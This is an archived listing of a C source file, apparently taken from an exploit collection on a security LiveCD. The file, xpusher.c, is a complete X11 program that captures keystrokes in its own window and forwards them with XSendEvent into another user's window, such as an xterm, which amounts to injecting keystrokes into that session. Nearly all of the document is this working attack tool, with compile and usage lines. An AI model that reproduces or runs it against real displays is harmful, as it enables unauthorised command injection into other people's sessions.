home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / xpusher.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  148 lines

  1. /* Xpusher - send keyboard events to another's window
  2.  * by:        Peter Shipley [copyright 1989]
  3.  * compile:    cc -O xpusher.c -o xpusher -lX11
  4.  * use:        xpusheR Windowid
  5.  *    Windowid        in decimal
  6.  *    -w Windowid        in decimal
  7.  *     -h Windowid        in hex
  8.  *     -d name_of_display
  9.  *
  10.  * see xwininfo(1) of xterm env. var. WINDOWID for window ID number
  11.  */
  12.  
  13. #include <stdio.h>
  14. #include <X11/Xlib.h>
  15. #include <X11/Xutil.h>
  16.  
  17. #ifndef lint
  18. char *copyright = "@(#) Copyright(c) 1988 Peter Shipley  [HACKMAN].\n\
  19.                   All rights reserved.\n";
  20. #endif not lint
  21.  
  22. #define STRING    "X pusher"
  23. void exit();
  24.  
  25. void usage(comm)
  26. char *comm;
  27. {
  28.   (void) fprintf(stderr,
  29.                  "usage: %s ([-w] Windowid | -h 0xWindowid) [-d displayname]\n", comm);
  30.  
  31.   exit(1);
  32. }
  33. /*
  34.  * This structure forms the WM_HINTS property of the window,
  35.  * letting the window manager know how to handle this window.
  36.  */
  37. XWMHints    xwmh = {
  38.   (InputHint|StateHint),    /* flags */
  39.   True,            /* input */
  40.   NormalState,        /* initial_state */
  41.   0,                /* icon pixmap */
  42.   0,                /* icon window */
  43.   0, 0,            /* icon location */
  44.   0,                /* icon mask */
  45.   0,                /* Window group */
  46. };
  47.  
  48. main(argc,argv)
  49. int argc;
  50. char **argv;
  51. {
  52.   char    *displayname = NULL;
  53.   int        i;
  54.  
  55.   Display    *dpy = NULL;    /* X server connection */
  56.   Window      rwin;        /* Recive Window ID */
  57.   Window      swin;        /* Send Window ID */
  58.   XSizeHints  xsh;        /* Size hints for window manager */
  59.  
  60.  
  61.   /* parse the arguments (a but much for 3 options) */
  62.   for (i = 1; i < argc; i++)
  63.     {
  64.       char *arg = argv[i];
  65.  
  66.       if (arg[0] == '-')
  67.         {
  68.           switch (arg[1])
  69.             {
  70.             case 'd':            /* -display host:dpy */
  71.               if (++i >= argc) usage (argv[0]);
  72.               displayname = argv[i];
  73.               continue;
  74.  
  75.             case 'h':            /* -h WindowId_in_hex */
  76.               if (++i >= argc) usage (argv[0]);
  77.               swin = atoi(argv[i]);
  78.               /* (void) sscanf(argv[i], "0x%lx", &swin); */
  79.               continue;
  80.  
  81.             case 'w':            /* -w WindowId_in_decimal */
  82.               if (++i >= argc) usage (argv[0]);
  83.               swin = atoi(argv[i]);
  84.               continue;
  85.  
  86.             default:
  87.               usage (argv[0]);
  88.             }                /* end switch on - */
  89.         }
  90.       else
  91.         swin = atoi(argv[i]);
  92.     }                    /* end for over argc */
  93.  
  94.   if(swin == (Window) NULL) usage (argv[0]);
  95.  
  96.   /* Open the display */
  97.   if ((dpy = XOpenDisplay(displayname)) == NULL)
  98.     {
  99.       (void) fprintf(stderr, "%s: can't open %s\n",
  100.                      argv[0], XDisplayName(displayname));
  101.       exit(1);
  102.     }
  103.  
  104.   /*
  105.    * Deal with providing the window with an initial position & size.
  106.    * Fill out the XSizeHints struct to inform the window manager.
  107.    */
  108.   xsh.flags = (PPosition|PSize);
  109.   xsh.height = 72;
  110.   xsh.width = 2* 72;
  111.   xsh.x = (DisplayWidth(dpy, DefaultScreen(dpy)) - xsh.width) / 2;
  112.   xsh.y = (DisplayHeight(dpy, DefaultScreen(dpy)) - xsh.height) / 2;
  113.  
  114.   /*
  115.    * Create the Window with the information in the XSizeHints, the
  116.    * border width,  and the border & background pixels. 
  117.    */
  118.   rwin = XCreateSimpleWindow(dpy, DefaultRootWindow(dpy),
  119.                              xsh.x, xsh.y, xsh.width, xsh.height,
  120.                              1,
  121.                              WhitePixel(dpy, DefaultScreen(dpy)),
  122.                              BlackPixel(dpy, DefaultScreen(dpy)));
  123.  
  124.   /* Set the standard properties for the window managers.  */
  125.   XSetStandardProperties(dpy, rwin, STRING, STRING, None, argv, argc, &xsh);
  126.   XSetWMHints(dpy, rwin, &xwmh);
  127.  
  128.   /* Specify the event types we're interested in - only Exposures.  */
  129.   XSelectInput(dpy, rwin, FocusChangeMask|KeyPressMask|KeyReleaseMask);
  130.  
  131.   /* Map the window to make it visible. */
  132.   XMapWindow(dpy, rwin);
  133.  
  134.   /* Loop forever,  examining each event.  */
  135.   while (1)
  136.     {
  137.       XEvent      event;        /* Event received */
  138.       /*
  139.        * Get the next event
  140.  [2000]*/
  141.       XNextEvent(dpy, &event);
  142.  
  143.       /* if event is a Key event forward it */
  144.       if(event.type == KeyPress || event.type == KeyRelease)
  145.         XSendEvent(dpy, swin, True, (KeyPressMask|KeyReleaseMask), &event);
  146.     }
  147. }
  148. /*                    www.hack.co.za              [2000]*/